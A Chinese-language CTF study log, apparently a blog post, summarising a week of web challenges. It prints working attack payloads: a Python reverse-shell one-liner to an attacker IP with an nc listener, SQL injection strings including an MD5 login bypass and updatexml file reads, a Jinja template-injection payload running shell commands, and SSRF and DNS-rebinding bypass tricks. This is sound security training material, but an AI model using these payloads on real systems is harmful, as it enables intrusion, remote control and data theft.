2023 10月2日 至 10 月8日学习总结

学了半天 想了还是需要进行个总结

1.做的题目

NSSCTF [BJDCTF 2020]easy_md5 md5实现sql-CSDN博客

[网鼎杯 2020 白虎组]PicDown python反弹shell proc/self目录的信息_双层小牛堡的博客-CSDN博客

[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入_双层小牛堡的博客-CSDN博客

攻防世界 mfw git泄露构造闭合-CSDN博客

攻防世界 Web_python_template_injection SSTI printer方法_双层小牛堡的博客-CSDN博客

CTFSHOW SSRF_双层小牛堡的博客-CSDN博客

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等-CSDN博客

CTFHUB - SSRF_双层小牛堡的博客-CSDN博客

[b01lers2020]Welcome to Earth_双层小牛堡的博客-CSDN博客

以上是

2023 10月2-8日做的题目 正值国庆假期 所以题目会多点

2.知识点

这里进行知识点的复习

特殊的MD5 实现万能钥匙闭合

题目内容是 一个sql语句

复制代码
select *  from password = md5($pass,true)

这里会通过MD5 然后进行查询

这里就会有一个特殊的md5

复制代码
ffifdyop

md5为 276F722736C95D99E921722CF9ED621C

然后通过十六进制转字符串

为'or'6  É]é!r,ùíb

所以传入的值变为了

复制代码
select *  from password = ''or'6  É]é!r,ùíb'

就会实现万能密码的作用

这里还有一个

复制代码
129581926211651571912466741651878684928

作用是一样的

proc/self文件夹

Linux的/proc/self/学习_lmonstergg的博客-CSDN博客

文件夹里都是和进程相关的

首先存在 environ 和 cmdline

其中会存在敏感信息

存在任意文件读取 我们可以去读取这个

然后获取完如果想获得当前工作环境的文件内容

可以通过 /proc/self/cwd/文件 来读取

如果文件代码中存在 open 打开文件的字样

那么就会在 /proc/self/fd/[0-999] 中创建

然后我们就可以通过 bp爆破 获取敏感信息

反弹shell

主要是python反弹shell

首先可以通过

复制代码
os.system(shell)

发现可以执行命令

然后可以让受害者 主动链接攻击机器 主要方式是通过免费域名

然后进行监听端口

主要反弹shell的代码

复制代码
//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

NATAPP -

这里可以免费获取

没有回显的rce就可以使用这个

报错注入读取文件

通过 load_file("文件") 来读取

复制代码
updatexml(1,concat(0x7e,(select load_file('/flag'))),3)

二次注入

复制代码
    $address = addslashes($_POST["address"]);

发现没有进行过滤

复制代码
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];

并且会从数据库进行读取

复制代码
 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

这里的old_address 那么我们输入报错语句 ' updatexml() 就会一样的输出 因为只是作为转义存入了

所以会原封不动的输出

复制代码
 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='"' updatexml()#"' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

实现了 二次注入

SSTI的 printer方法

这里只是记录一下 这个方法也可以实现注入

格式为下面的

复制代码
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

SSRF ctfshow内容

主要是 sudo.cc 表示 127.0.0.1

127.1 表示127.0.0.1

无回显rce localeconv() array_reverse() session_start()

因为过滤了 __ dir

无法使用以前的 print_r(FILE)

这里可以通过 localeconv() 返回当前目录中的 .

然后通过指定 . 使用 current(localeconv())

print_r(current(localeconv)) 就类似于 print_r('.')

会回显当前

array_reverse 让数组倒序输出

这里还可以使用 session_start(session_id) 开启 session 然后通过 session 传递 flag.php

所以直接

复制代码
print_r(session_start(session_id))

Cookie: PHPSESSID=flag.php

即可

SSRF ctfhub内容

打中间件直接使用 gopherus

复制代码
git clone https://github.com/tarunkant/Gopherus.git

通过 工具生成 payload 然后 进行一次 url编码 即可

通过蚁剑链接 实现rce

可以通过

dict://127.0.0.1:xx 扫描端口 发现服务

gopher:// 可以伪造请求包 发送请求

格式

复制代码
gopher://ip:port/_内容

需要进行2次url

%0a 需要 替换为%0d%0a

结尾也需要加上 %0d%0a

FASTCGI 作为服务器和解释器之间的协议

我们可以伪造包去访问FASTCGI 然后通过设置包含 实现rce

[email protected] 会被解析为 127.0.0.1

复制代码
127.0.0.1:
 
 
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
 
或者利用其他为 127.0.0.1的内容
 
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302可以通过短网址-短链接生成 还有 xip.io

DNS bypass 就是通过时间差 转变域名的 ip 当第一次ip通过检查后 第二次变为127.0.0.1

rbndr.us dns rebinding service

python排列组合方式

复制代码
from itertools import permutations
 
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
 
item = permutations(flag)
 
for i in item:
    k=''.join(list(i))
    if k.startswith('pctf{')    and k[-1]=='}':
        print(k)

可以输出数组所有组合方式 我们确定开头和结尾 即可得到flag

3.不足

做题 没有沉下心来做 没思路就去看wp了

有的时候做题 感觉不难的 为什么不坚持坚持 去搜搜知识点 而不是直接搜wp来做

4.下一周计划

美亚可以准备了

buu继续做

nss 可以跟上 做点比赛真题

相关推荐
viperrrrrrrrrr734 分钟前
大数据学习(105)-Hbase
大数据·学习·hbase
行思理3 小时前
go语言应该如何学习
开发语言·学习·golang
oceanweave4 小时前
【k8s学习之CSI】理解 LVM 存储概念和相关操作
学习·容器·kubernetes
吴梓穆5 小时前
UE5学习笔记 FPS游戏制作43 UI材质
笔记·学习·ue5
学会870上岸华师6 小时前
c语言学习16——内存函数
c语言·开发语言·学习
XYN616 小时前
【嵌入式面试】
笔记·python·单片机·嵌入式硬件·学习
啊哈哈哈哈哈啊哈哈6 小时前
R3打卡——tensorflow实现RNN心脏病预测
人工智能·深度学习·学习
KangkangLoveNLP6 小时前
深度探索:策略学习与神经网络在强化学习中的应用
人工智能·深度学习·神经网络·学习·机器学习·自然语言处理
穷儒公羊8 小时前
第一部分——Docker篇 第六章 容器监控
运维·后端·学习·docker·云原生·容器
CAE虚拟与现实8 小时前
记录一下学习docker的命令(不断补充中)
学习·docker·容器·容器化·docker部署·docker命令